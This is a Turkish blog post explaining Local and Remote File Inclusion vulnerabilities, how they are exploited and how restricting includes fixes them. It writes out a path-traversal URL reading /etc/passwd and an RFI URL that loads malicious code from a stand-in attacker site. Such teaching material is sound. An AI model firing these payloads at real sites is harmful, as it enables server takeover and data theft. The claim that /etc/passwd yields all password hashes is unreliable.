23 Eylül 2016 Cuma

Web Uygulaması Güvenliği - File Inclusion



File inclusion, web sayfaları kullanıcı tarafından gönderilen verinin validasyonunu doğru yapmadığı zaman ortaya çıkar. Böylece saldırganlar web sayfası üzerinde bulunan bir betiği kullanarak sayfaya dosya ‘include’ edebilirler. 

Yukarıdaki şemada bir file inclusion istismarı senaryosu yer almaktadır.

File inclusion ikiye ayrılır: 
  1. Local File Inclusion 
  2. Remote File Inclusion 

Local File Inclusion

Local file inclusion, web sayfası üzerinden arka taraftaki sunucunun üzerindeki dosyaların görüntülenebilmesiyle gerçekleşir. Saldırganlar buradan sistemin güvenliği için kritik önem taşıyan ve kurum/kuruluşa ait gizli bilgilere erişebilir.

kurban_web_sitesi.com adresine yapılacak bir saldırı aşağıdaki gibi olabilir.

http://kurban_web_sitesi.com/preview.php?file=../../../../etc/passwd 

Web sayfası yanlış yapılandırıldığından /etc/passwd dosyası görüntülenmiş, sayfayın sunulduğu sunucuyua ait bütün parola hash’leri elde edilmiştir. Saldırganlar bu bilgileri kullanarak sunucunun kontrolünü ele geçirebilir ve sunucuyu hizmet dışı bırakabilirler. Saldırganların ele geçirdikleri sunucular üzerindeniç ağa yayıldıkları ve kendilerini altı ay kadar uzun süreler boyunca gizli tutmayı başarabildikleri bilinmektedir. 

Aynı saldırı doğru yapılandırılmış bir web sitesine karşı gerçekleştirildiğinde sonuç aşağıdaki gibi olacaktır:


Aranan dosya sadece web uygulaması üzerinde aranmış ve bulunamamıştır. Çünkü web uygulaması sunucu üzerindeki dosyaların görüntülenmesine izin vermemektedir.

Remote File Inclusion

Remote file inclusion web sayfasında kullanıcılar için oluşturulmuş parametrelere girilen girdiler doğrultusunda uygulamaya uygulama üzerinde olmayan bir dosyanın ‘include’ edilmesi ile gerçekleşir. 

Remote file inclusion istismarına basit bir örnek:

http://kurban_web_sitesi.com/zafiyet_barındıran_sayfa.php?file=http://saldırgan_site/zararlı_sayfa

Web uygulaması üzerinde RFI zafiyeti barındıran ‘file’ parametresi, saldırgana ait bir web sitesini ziyaret etmek için kullanılmıştır. Ziyaret edilen web sayfası zararlı yazılım içermektedir. Zafiyeti barındıran web sitesi saldırgana ait dosyayı görüntülediğinde zararlı yazılımı çalıştırmış olur. Böylelikle saldırgan sunucu üzerinde komut çalıştırmıştır.


RFI zafiyeti istismar edilmiş, uzak sunucu üzerine truva atı yazılımı yüklenmiştir.


Sunucunun kontrolü ele geçirilmiştir.

Saldırganlar RFI istismar ederken genellikle uzak sunucuya bir arka kapı yüklerler. Böylelikle istedikleri zaman sunucuya erişim sağlayabilir, kontrolünü ele geçirebilirler. Ele geçirilen sunucunun aynı zamanda başka yerlere saldırmak için de kullanılabildiği bilinmektedir.

Kaynak kodda ‘file’ değişkeninin ‘include’ (dahil) edildiğini görüyoruz. 


(Efsane ekran görüntüsünü nano'ya borçluyuz.)

Yanlış yapılandırılmış web uygulamasının kaynak kodu aşağıdaki gibidir:

Dahil edilecek sayfaya, yani ‘file’ değişkenine herhangi bir filtreleme uygulanmamıştır. Böylece saldırganlar istedikleri bir dosyayı include (dahil) edebilirler. Bu uygulamayı file inclusion saldırılarına karşı savunmasız bırakmaktadır.

Doğru yapılandırılmış web uygulaması:

Uygulamada sadece web uygulamasında bulunan sayfa.php dosyası include (dahil) edilmiştir. Böylelikle kullanıcı sadece izin verilen dosyayı, yani sayfa.php’yi görüntüleyebilir. Farklı bir uygulamada başka dosyaların include (dahil) edilmesi gerektiği takdirde aynı şekilde diğer dosyaların da görüntülenmesine izin verilebilir.

Web Uygulaması Güvenliği maratonu şimdilik burada sonra eriyor.
on 23 Eylül by Berk Cem Göksel |   Edit